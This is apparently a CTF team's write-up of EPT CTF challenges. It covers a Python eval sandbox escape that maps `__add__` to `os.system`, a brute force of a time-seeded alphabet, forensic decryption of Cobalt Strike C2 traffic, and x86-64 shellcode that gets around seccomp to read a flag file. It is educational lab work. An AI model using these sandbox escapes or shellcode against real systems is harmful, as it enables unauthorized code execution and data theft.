# Misc#

## đź”Ą Kalk đź”Ą#

Author: `null`

Description: I heard you needed a new calculator for your math course? Why buy a new one when you can just use my Calculator-as-a-Service instead!

`nc io.ept.gg 30046`

``````#!/usr/bin/env python3
import dis
import os

class Math(dict):
def __init__(self):
self.e = 0
self.pi = 0

def kalk(src, locals):
if '=' in src:
co = compile(src, "kalk", "single")
for opc in dis.get_instructions(co):
print("Bonk! >.<", opc.opname)
return
eval(co, {}, locals)
else:
co = compile(src, "kalk", "eval")
for opc in dis.get_instructions(co):
if 'CALL' in opc.opname:
print('No U! >.<')
return

_ = eval(co, {}, locals | {'math': Math(), 'tease': os.system})
locals['_'] = _
return _

locals = {}
while True:
r = kalk(input('> '), locals)
if r is not None:
print(repr(r))
``````

It looks like this is a calculator as a service. When you connect to the server you can do different math operations. This is done by executing the input you send as Python code. It uses eval to do so.

It looks like this application block certain types of operations. It does so by compiling the input that we send in, and uses the `dis` module to get the instructions and opnames from the compiled code. You can for example don’t run any functions or methods, because it blocks all opname that contains `CALL`.

In the kalk function there is an if statement that checks for `=` in our input. If we don’t assign a value to any variable, it will jump down to the else block and run our code there. As you can see, there are two objects included in the local variables in this eval. `math` contains a Math-object and `tease` contains the `os.system` method.

Since `math` is an object of the Math-class, we can probably try to overwrite a dunder-method (method names with double underscores which are called in specific ways). The only problem is that we cannot assign anything to the `math` object, since then we will be in the first if-block where this object is not available.

UnblvR on my team found a neat way to move variables from the second eval to the first eval by using `_`. `_` is a special variable that contains the return value of the last instruction. This variable is also available in the first eval even though we did the instruction in the second eval.

Now we can assign `math` to another variable:

``````nc io.ept.gg 30046

> math
{}
> test = _
> test
{}
``````

The plan is to get the uninitialized Math class into a variable and then overwrite the `__add__` method to be `tease` which is `os.system`. The `__add__` method takes one argument (which is the value you want to add to the object). os.system() also takes one argument, so in theory we can then do a system command by adding the command we want to run to the object like this: `math + 'ls -la'`

The command `ls -la` should then be executed.

First we need to get the Math class:

``````nc io.ept.gg 30046
> math.__class__
<class '__main__.Math'>
> Math = _
> Math
<class '__main__.Math'>
``````

Great, now we can overwrite `__add__` with `os.system`

``````> tease
<built-in function system>
``````

At last we can set the class of `math` to be our new class.

``````> math
{}
> math = _
> math.__class__ = Math
``````

Now we should be able to run system commands by doing addition.

``````> math + "id"
uid=1000(kalk) gid=1000(kalk) groups=1000(kalk)
0
> math + "ls"
flag.txt
kalk.py
ynetd
0
> math + "cat flag.txt"
EPT{y0u_br0k3_my_c4lcu1at0r!}0
``````

And we got the flag, great!

Flag: `EPT{y0u_br0k3_my_c4lcu1at0r!}`

## đź”Ą Know your encoding đź”Ą#

Author: `zledge`

Description: Help us decode some very important words! You might be awarded a flag in the end

`nc io.ept.gg 30045`

We are also provided with a file:

``````from datetime import datetime
from random import Random
from time import time

def chunks(lst, n):
"""Yield successive n-sized chunks from lst."""
for i in range(0, len(lst), n):
yield lst[i:i + n]

ALPHABET = 'abcdefghijklmnopqrstuvwxyz+ABCDEFGHIJKLMNOPQRSTUVWXYZ/0123456789'
def special_encoding(word, count):
b = Random()
b.seed(int(time() * 1000))
if count:
a = ''.join(b.sample(ALPHABET,len(ALPHABET)))
else:
a = ALPHABET
encoded = ''
for x in chunks("".join([bin(int(byte)).lstrip('0b').zfill(8) for byte in word.encode("ascii")]), 24):
y = list(chunks(x, 6))
for value in y:
encoded += a[int(value.ljust(6, "0"), 2)]
print(f"{datetime.fromtimestamp(int(time()))} - Decode the following: {encoded}", flush=True)
``````

Upon connecting we’re greeted with this:

``````Someone created an encoding scheme, and now we have trouble decoding the output. Can you help us out? You have 5 seconds per word. All words are lowercase ascii before encoding.
``````

After answering we’re greeted with a challenge:

`2021-10-31 18:20:50 - Decode the following: BgKMAwvTChm`

So let’s analyze the code:

1. `chunks` is explained with a docstring, so we can move on to `special_encoding` immediately
2. First it gets the current amount of seconds since 1. January 1970 also known as unix-time. ( `time()` )
3. This is then multiplied with 1000 to get millisecond precision. (`time()*1000`)
4. Lastly it’s fed into a random generator as a seed.
5. based on a variable `count` it then either generated a random shuffled alphabet or uses the standard one
6. Then in the following 4 lines it base64 encodes the `word` (more detailed explanation inside)
1. Firstly it generates a long bitstring and divides it up into 24 bits at a time
2. Then it’s divided furthermore into chunks of 6 bits
3. based on the value of these 6 bits it picks the corresponding character from the “alphabet-lookup string” `a`
7. After looping over the whole bitstring the encoded result is provided prefixed with the server’s current time.

Before I show the solution script there’s a few gotchas with this challenge that I’d like to mention first.

### count variable#

As mentioned in the analysis `special_encoding` chooses which alphabet to use based on a `count` variable, however we don’t know the value of this variable and so we can’t be completely sure of which alphabet is used. We can make a educated guess and think that `count` is like a round counter starting at zero, meaning only the first round will be base64

### Timezones#

Timezones are always a pain to deal with, and this challenge is no exception, because if you just parse the time from the server you’ll get the wrong result. What you need to do, or what I had to do was add 3600 seconds to the time parsed.

### time() invoked twice#

So a small detail that’s worth noticing is that the time() used to seed the random generator isn’t quite the same as the time presented to us. As time is invoked two times instead of being saved to a variable, this didn’t pose any problems for me. But could become a problem if the system is already stressed.

So without further adieu, the solve script:

``````from datetime import datetime
from pwn import remote, log
from random import Random
from Crypto.Util.number import long_to_bytes
from string import ascii_lowercase

ALPHABET = 'abcdefghijklmnopqrstuvwxyz+ABCDEFGHIJKLMNOPQRSTUVWXYZ/0123456789'

def decode(s, mapping):
bs = "".join([bin(mapping.index(c)).lstrip("0b").zfill(6) for c in s])
bs = bs[:(len(bs) // 8) * 8]
return long_to_bytes(int(bs, 2))

def solve(base_time, chall):
for drift in range(1000):
tm = base_time * 1000 + drift

b = Random()
b.seed(tm)

for mapping in [''.join(b.sample(ALPHABET, len(ALPHABET))), ALPHABET]:
bts = decode(chall, mapping)
if all([chr(char) in ascii_lowercase for char in bts]):
return bts
else:
log.error("Couldn't find solution")

r = remote("io.ept.gg", 30045)
r.sendline(b"y")
r.recvline()
r.recvline()
for i in range(100):
chal = r.recvline().decode()

dt = datetime.fromisoformat(chal.split(" - ")[0]).strftime("%s")

server_time = int(dt) + 3600  # adjust to the same timezone as the server

ans = solve(server_time, chal.split(": ")[1].strip())
print(ans)
r.sendline(ans)
assert r.recvline() == b"Correct!\n"

r.interactive()
``````

### Further explanation#

#### brute force#

So since we know the time the random alphabet was generated we can just reproduce it locally. After we have the time (that’s corrected for the timezone) we have to do some brute force, because the time value we’re provided with is only in second resolution and the random seed function required millisecond resolution. Using this base value we should brute force around that base I chose a span of 0-1000ms after the base time.

#### decoding#

Now inside the loop we can feed these time values into the `Random.seed()` function. Then we can generate our random alphabet and try to decode the challenge sent by the server with both the random alphabet and the standard one. The decoding works by taking each char in the encoded string and finding it’s corresponding position in the alphabet, then we convert that value to binary, stripping the `0b` and ensuring it’s 6 chars long. After that we strip the bitstring into the nearest length that’s divisible by 8. Then we parse it as a binary number and convert it from a int to bytes, and we’re done.

#### submitting#

So now we have a possible correct result, but since we’re brute forcing this could be a garbage value as well. So we have to check that all the characters are printable and ASCII-lowercase, then we can be pretty certain that we’ve found the correct answer. But we won’t know for sure before the server responds with `Correct!`. Again if we bruteforced with a wider range for the `drift` we might begin to get false positives.

Flag: `EPT{kn0w-y0ur-en0ding!}`

# Forensics#

## đź”Ą Eastbound & Pwned đź”Ą#

Author: `LOLASL`

Description: KennyP thinks that Anti-Virus is for wussies and that his enemies can’t touch him, but we are now observing hits on a signature that could indicate the presence of Cobalt Strike on his computer.

We have retrieved the network traffic in question and a memory dump of the machine (Windows 10 x64 Build 19043.1237), can you figure out what the attacker has been up to?

`EastboundAndPwned.zip`

We are provided with an archive (`EastboundAndPwned.zip`), which contains a network capture (`LA-FLAMA-BLANCA-20211025-071559.pcap`) and a memory dump (`LA-FLAMA-BLANCA-20211025-071559.raw`).

### Cobalt Strike#

The challenge description mentions Cobalt Strike, which is:

[Cobalt Strike] is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strikeâ€™s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.

Source: MITRE ATT&CKÂ®

In short: it is a tool that is used to be able to remotely control a system. Malicious actors have used it for years to deploy â€śListenersâ€ť on victim machines. To solve this challenge we need to get a better understanding of how Cobalt Strike communicates, and how it can be configured.

#### C2 Communication#

The art and science of detecting Cobalt Strike by Nick Navis (@nickmavis) from Cisco Talos, describes the C2 communication as such:

• Infection: The client is infected with either a staged, or a stageless payload. For a stageless payload, it will decode itself, and then load itself into memory. The configuration for the beacon is XOR encrypted but by default, use a static XOR key for each respective beacon version (3 or 4).
• Heartbeat: The infected host sends a heartbeat to the Cobalt Strike C2 server with basic metadata and queues up any commands (read Tasks) that were added.
• Tasks: Cobalt Strike uses AES-256 in CBC mode with HMAC-SHA-256 to encrypt task commands (i.e. commands sent remotely by the attacker). The AES key can be found in the encrypted metadata that is sent during a heartbeat, but it also lives shortly in memory of the infected process.
• Callbacks: After a task is executed, the host calls back to the C2 server with a encrypted payload containing the results of the task.

A more detailed explanation can be found on page 10 and 11 in the paper by Nick Navis.

A diagram of the Cobalt Strike C2 communication flow. Source: NVISO Labs

#### Beacon Configuration#

Didier Stevens has made a tool, 1768 K, which decodes and dumps the configuration of Cobalt Strike beacons. He later updated this tool (3 weeks ago at the time of writing this) with newer statistics.

#### Decrypting Cobalt Strike Traffic#

Didier Stevens made yet another blog post, “Quickpost: Decrypting Cobalt Strike Traffic”. He made a tool (cs-extract-key.py) that looks in the dumped process memory for the unencrypted metadata that the beacon sends to the C2. Furthermore, he also made a tool (cs-parse-http-traffic.py) that can use the extracted keys to decrypt and parse the encrypted HTTP C2 communication in a PCAP file.

### Solution#

Our goal is “simple”, we need to decrypt the traffic between the infected host and the C2 server. From our research above we know that we have to:

1. Extract and decrypt the Cobalt Strike Beacon configuration
2. Dump the memory of the process that was infected with the payload
3. Extract the AES and HMAC keys from the process memory
4. Use these keys to decrypt the C2 (HTTP) communication

#### Extracting And Decoding Beacon Configuration#

Opening the PCAP in Wireshark, we can easily filter on `http` and find the Cobalt Strike stager shellcode request and thus the beacon in `tcp.stream eq 9`. We export this payload to a file (`ept_beacon`).

``````GET /stE1 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; LBBROWSER)
Host: 172.16.32.2
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Mon, 25 Oct 2021 07:12:52 GMT
Content-Type: application/octet-stream
Content-Length: 261191
--- snip ---
``````

We use the updated 1768 tool to extract the configuration for the C2 beacon, note the process injection configuration.

``````\$ python 1768.py -r ept_beacon
File: ept_beacon
xorkey(chain): 0xa6b02dff
length: 0x03fc0089
Config found: xorkey b'.' 0x00000000 0x000057cf
0x0001 payload type                     0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port                             0x0001 0x0002 80
0x0003 sleeptime                        0x0002 0x0004 60000
0x0004 maxgetsize                       0x0002 0x0004 1048576
0x0005 jitter                           0x0001 0x0002 0
0x0006 maxdns                           0x0001 0x0002 255
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100baaa6b1100ef88c737a50e0f9f86279487a3a838e7e1da5fb1fb1fbcc8b2361207756fa5cfd1fd2c86dc86e32ac73055e7c6da46d13beaa3bc171892fb62e4c90206aaa9c28cb4f9aefc752c9fbc3ae723ed070b0f1dd516b9f75cd4d58a6e61784040d4147ba9fe2c84b9df49e67311dc7999c83772fccab8b7eb78af293135020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0009 useragent                        0x0003 0x0080 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
0x000a post-uri                         0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions        0x0003 0x0100 '\x00\x00\x00\x04'
&Content-Type: application/octet-stream
id
0x000e SpawnTo                          0x0003 0x0010 '\x92~\x14Ă˛Â»D\x08\x89e\x89\x92\x1f`Ă´&n'
0x001d spawnto_x86                      0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64                      0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x000f pipename                         0x0003 0x0080 (NULL ...)
0x001f CryptoScheme                     0x0001 0x0002 0
0x0013 DNS_Idle                         0x0002 0x0004 0 0.0.0.0
0x0014 DNS_Sleep                        0x0002 0x0004 0
0x001a get-verb                         0x0003 0x0010 'GET'
0x001b post-verb                        0x0003 0x0010 'POST'
0x001c HttpPostChunk                    0x0002 0x0004 0
0x0026 bStageCleanup                    0x0001 0x0002 0
0x0027 bCFGCaution                      0x0001 0x0002 0
0x0036 HostHeader                       0x0003 0x0080 (NULL ...)
0x0023 proxy_type                       0x0001 0x0002 2 IE settings
0x003a                                  0x0003 0x0080 '\x00\x04'
0x0039                                  0x0003 0x0080 '\x00\x04'
0x0037                                  0x0001 0x0002 0
0x0028 killdate                         0x0002 0x0004 0
0x0029 textSectionEnd                   0x0002 0x0004 0
0x002b process-inject-start-rwx         0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx           0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc         0x0002 0x0004 0
0x002e process-inject-transform-x86     0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64     0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub              0x0003 0x0010 'Ă’SĂ“n\x83w1\x98ĂĽEhĂ®\x90I?,'
0x0033 process-inject-execute           0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.2 (max 0x003a)
``````

With this we also find 3 HTTP requests that were during the communication (TCP stream `117`, `121`, and `131`).

Wireshark filter: `ip.addr == 172.16.32.2 and http.request.uri matches "/submit.php*"`.

``````& ls ./streams
117.hex  121.hex  131.hex
\$ cat 117.hex
``````

We also find the encrypted metadata blob in a cookie sent in a `/load` request:

``````Cookie: dhJBx9uy37Z1YC4YF/ePAKIiFj9mkS7hsd0hwK3DO0vPAkwB/cziZXYPaVJiPFuJlzpLZZKM0Dbi9XwF3bHR76vyPhVKBaRN975ISSNxIjLGNvl6598X2Nop/noEA2ZIo+KWqXC6uRwIPh4EWdI4wlitNy63ye8clGZwbAZAhMY=
``````

#### Dump Memory Of The Infected Process#

We need to find the process where the beacon was injected, we know that it uses `rundll32.exe` to inject into a process (`spawnto` from the beacon configuration), we also note the process injection flag (`PAGE_EXECUTE_READWRITE`) .

To analyze the memory dump, we use the Volatility memory forensics framework. We also know from the challenge description that the provided memory dump was taken from a machine running `Windows 10 x64 Build 19043.1237`, the closest matching profile for this in Volatility is `Win10x64_19041`.

Looking at Volatility’s Command Reference for Malware we find the `malfind` command, which helps find hidden or injected code/DLLs in user mode memory, based on characteristics such as VAD tag and page permissions.

``````\$ vol -f LA-FLAMA-BLANCA-20211025-071559.raw --profile Win10x64_19041 malfind
``````

We find 2 interesting processes: `smartscreen.ex Pid: 5576` and `svchost.exe Pid: 3452`.

``````Process: svchost.exe Pid: 3452 Address: 0x720000
Flags: PrivateMemory: 1, Protection: 6

0x0000000000720000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x0000000000720010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x0000000000720020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x0000000000720030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

``````
``````Process: smartscreen.ex Pid: 5576 Address: 0x2491b920000
Flags: PrivateMemory: 1, Protection: 6

0x000002491b920000  48 89 54 24 10 48 89 4c 24 08 4c 89 44 24 18 4c   H.T\$.H.L\$.L.D\$.L
0x000002491b920010  89 4c 24 20 48 8b 41 28 48 8b 48 08 48 8b 51 50   .L\$.H.A(H.H.H.QP
0x000002491b920020  48 83 e2 f8 48 8b ca 48 b8 60 00 92 1b 49 02 00   H...H..H.`...I..
0x000002491b920030  00 48 2b c8 48 81 f9 70 0f 00 00 76 09 48 c7 c1   .H+.H..p...v.H..
--- snip ---
``````

We note that both of them have the `PAGE_EXECUTE_READWRITE` set, which is what we saw in the beacon configuration, so we quickly dump the memory of these processes:

``````\$ vol -f LA-FLAMA-BLANCA-20211025-071559.raw --profile Win10x64_19041 memdump -D ./memdumps -p 3452
\$ vol -f LA-FLAMA-BLANCA-20211025-071559.raw --profile Win10x64_19041 memdump -D ./memdumps -p 5576
\$ ls ./memdumps
3452.dmp  5576.dmp
``````

#### Extract Keys#

By using cs-extract-key.py we can easily parse these memory dumps and extract the AES keys within them (if they exist).

The script will not be able to find any keys if you run it as-is, Didier notes this in his post:

This method does not always work: the metadata is overwritten after some time, so the process dump needs to be taken quickly after the beacon is started. And there are also cases were this metadata can not be found (I suspect this is version bound).

The tools includes an options to perform a dictionary attack if you provide it a callback payload. The tool then extracts all possible AES and HMAC keys from the process dump and tries to authenticate and decrypt the callback. The callback payload can be found in TCP stream `117` from the PCAP.

I somehow messed up this step, but my teammate, @UnblvR, managed to extract the key successfully from the `svchost.exe` process and decrypt the traffic:

``````\$ python cs-extract-key.py -c 000000403c328a67f95f9f2f4d2ed72853369bc476eff4234d932a569a3d22d852dc453e7c22d12f6bc461f2adca8c448a85c5b26204522c2fe327af7d608acc27e4333f ./memdumps/3452.dmp
File: ./memdumps/3452.dmp
AES key position: 0x0002a440
AES Key:  f55fdb402eb483720fe7ca64f1a8a4cf
HMAC key position: 0x0002a450
``````

Side note: My attempts resulted in an empty output, most likely due to the callback being messed up.

#### Decrypt C2 Communication#

The final step is to use these extracted keys to decrypt the C2 communication. This is easily done by using the tool (cs-parse-http-traffic.py) we found earlier. With the Wireshark filter we created earlier we can be sure to only attempt to decrypt the encrypted payloads. After letting the script run for a bit, we finally see the flag in the last decrypted payload (`Packet number: 156656`).

``````\$ python cs-parse-http-traffic.py -k ad5584fe824cad1d6b839860c88df785:f55fdb402eb483720fe7ca64f1a8a4cf -Y 'ip.addr == 172.16.32.2 and http.request.uri matches "/submit.php*"' LA-FLAMA-BLANCA-20211025-071559.pcap
Packet number: 143669
HTTP request
http://172.16.32.2/submit.php?id=1011624348
Counter: 2
Callback: 30 UNKNOWN
la-flama-blanca\kennyp

Extra packet data: b''

Packet number: 156050
HTTP request
http://172.16.32.2/submit.php?id=1011624348
Counter: 3
Callback: 30 UNKNOWN
User name                    KennyP
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/29/2021 2:15:34 AM

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:12:52 AM

Logon hours allowed          All

Global Group memberships     *None
The command completed successfully.

Extra packet data: b''

Packet number: 156656
HTTP request
http://172.16.32.2/submit.php?id=1011624348
Counter: 4
Callback: 0 UNKNOWN
----------------------------------------------------------------------------------------------------
flag                     EPT{d3crypt1ng_c0b4lt_str1k3_tnx_2_d1d13r}
Modern\
SystemShared\
TIP\

----------------------------------------------------------------------------------------------------
Extra packet data: b''
``````

Flag: `EPT{d3crypt1ng_c0b4lt_str1k3_tnx_2_d1d13r}`

# Shellcoding#

## đź”Ą Shellcoding 0x05 đź”Ą#

``````This one is a bit different from the others. The flag is in one of 200 files that are randomly created in /opt/flag/. You need to find and print the flag. The files are recreated every minute using the script generateFiles.py which is attached.

I've also disabled execv and fork syscalls using seccomp. GL HF! :)
``````

As the description says, in this challenge the flag is hidden inside 1 out of 200 randomly named files. Moreover, the shellcode is limited to 70 bytes, and the entire directory of random files is regenerated every minute. Syscalls are also severely restricted, to not let us do anything fancy like 2-stage payloads or creating more space.

``````void disableSyscalls() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);

}
``````

The file randomization is done through a Python script, which is using the insecure `random` module to figure out the names. Exploiting this is a harder problem than just solving the challenge, as we need the outputs in order to predict outputs, so this makes no sense to attack.

Our general plan is to do something like

``````open("/opt/flag")
lseek(fd) to skip "." and "..""
getdents(fd)
open(file)
sendfile(fd)
``````

The string `/opt/flag` already exists inside the binary through the string `"The flag somewhere in /opt/flag"`, so that is easy enough.

``````/* open("/opt/flag") */
pop rdi
mov al, 2
syscall
``````

`seekdir()` just calls `lseek()` anyways, so let’s just go straight to the source and skip a certain number of entries. We dynamically change this OFFSET to a number (explained later), to skip past the uninteresting directory entries in the start. Note that since `stdin` is closed, the `open()` syscall is given `fd=0`.

``````/* lseek(0, OFFSET, 0) */
xor eax, eax
mov al, 8
xor edi, edi
xor esi, esi
mov esi, OFFSET
xor edx, edx
syscall
``````

Next up is `getdents()` to fetch the directory entry from `OFFSET` into `\$RSP` (valid pointer to the stack), pretending we have 100 bytes to write there.

``````/* getdents(0, rsp, 100) */
xor eax, eax
mov al, 78
xor edi, edi
mov rsi, rsp
xor edx, edx
mov dl, 100
syscall
``````

Now we need to extract the file contents. The structure we just wrote into `\$RSP` looks like this

``````struct linux_dirent {
unsigned long  d_ino;     /* Inode number */
unsigned long  d_off;     /* Offset to next linux_dirent */
unsigned short d_reclen;  /* Length of this linux_dirent */
char           d_name[];  /* Filename (null-terminated) */
/* length is actually (d_reclen - 2 -
offsetof(struct linux_dirent, d_name)) */
/*
char           d_type;    // File type (only since Linux
// 2.6.4); offset is (d_reclen - 1)
*/
}
``````

and we’re only interested in `d_name`, so we have to skip past the other fields (8+8+2=18 bytes). Let’s do `openat()` and access the potential flag file as a descriptor, so it can be sent with `sendfile()` later.

``````/* openat(linux_dirent->d_name, 0, 0) */
mov ax, 257
lea rsi, [rsp+18]
xor edx, edx
syscall
``````

The final piece of the exfiltration puzzle, is to actually transfer the contents. `sendfile()` can do this.

``````/* sendfile(1, fd_from_openat, 0, 200) */
mov esi, eax
xor eax, eax
mov al, 40
xor edi, edi
inc edi
mov r10b, 200
syscall
``````

And that’s where we ran out of bytes. We now have the contents of one file, but it will take a long time before the first file will contain the flag file, and since this is a đź”Ą-challenge, time is of the essence. Cue the reason why we made `OFFSET` a variable. It is possible to combine this script with another one that tells us the offset to the next file.

The new code does everything the same way as the previous blocks, except it replaces `openat()+sendfile()` with this:

``````/* write(1, linux_dirent->d_off, 8) */
xor eax, eax
inc eax
xor edi, edi
inc edi
lea rsi, [rsp+8]
xor edx, edx
mov dl, 8
syscall
``````

Which sends us the offset to the next file structure. We can then feed this offset back into the other script to fetch the contents of the next file, then repeat this over and over. It manages to read quite a lot of files before the 1-minute reset happens, so after just a few minutes we get lucky enough to get the flag.

``````import subprocess
import sys

curr = eval(sys.argv[1]) if len(sys.argv) > 1 else 0

while True:
soln = subprocess.check_output(['python3', 'get_filedata.py', str(curr)])
print(repr(soln))
if soln.startswith(b'EPT'):
sys.exit()
off = subprocess.check_output(['python3', 'print_offset.py', str(curr)])
print(off)
curr = eval(off)
``````

After around 9 minutes, the flag is exfiltrated

Flag: `EPT{y0u_ar3_th3_master_0f_sh3llc0de}`